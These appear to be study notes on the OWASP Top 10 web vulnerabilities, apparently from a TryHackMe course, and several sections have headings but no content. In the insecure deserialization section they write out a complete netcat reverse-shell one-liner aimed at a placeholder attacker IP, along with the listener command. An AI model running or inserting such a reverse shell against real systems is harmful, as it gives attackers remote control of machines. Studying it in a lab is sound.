Open Web Application Security Project Top 10

1 - Injection

User input is handled as actual commands or code. Common examples:

Defending

2 - Broken Authentication

Common examples:

Defending

3 - Sensitive Data Exposure

Webserver accidentally exposes sensitive data e.g. customer names, orders, credit cards, passwords etc. Examples:

4 - XML External Entity (XXE)

Vulnerability that abuses features of XML parsers/data. Possible abuses:

What is XML?

eXtensible Markup Language is used to store and transport data between various systems and languages.

Two Types of XXE

in-band XXE

Immediate response

out-of-band XXE (blind XXE)

No immediate response. Hacker must use payload to answer to other file or server

5 - Broken Access Control

User is able to load pages that they should not have access. Common examples:

6 - Security Misconfiguration

includes:

7 - Cross-site Scripting

Inject script on website to execute it by server (reflected) or other users (stored) << not quite like that // TODO: refactor @see XSS

8 - Insecure Deserialization

Simply, insecure deserialization is replacing data processed by an application with malicious code.

(De)serialization

Serialisation is the process of converting objects into simpler format (e.g. binary) for transmitting between systems.

Deserialization is the reverse of serialization.

Spawning reverse shell

Target Machine: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f Attack Machine: ‘nc -lvnp 4444’

9 - Components with Known Vulnerabilities

https://www.exploit-db.com/

Meaning that website framework or other components have known vulnerabilities. These can be abused easily for example spawning remote shell.

10 - Insufficient Logging & Monitoring

Logging

Logging is essential. In case of incident, we must be able to trace attackers actions.

Logging should contain at least: - HTTP status codes - Time stamps - usernames - API endpoints or pages - IP addresses

Note! Logs must be stored securely and follow GDPR and other privacy laws.

Monitoring

With automated monitoring we can stop attacker before breach or incident. - multiple false logging actions or other unauthorized attempts. - anomalous IP addresses - detect automated tools - speed of requests - user-agent - common payloads - honey pots - xss attempts - SQLi attempts

Monitoring alone is not enough, we need to take actions on detected abuses. Firewall can be used for this for example.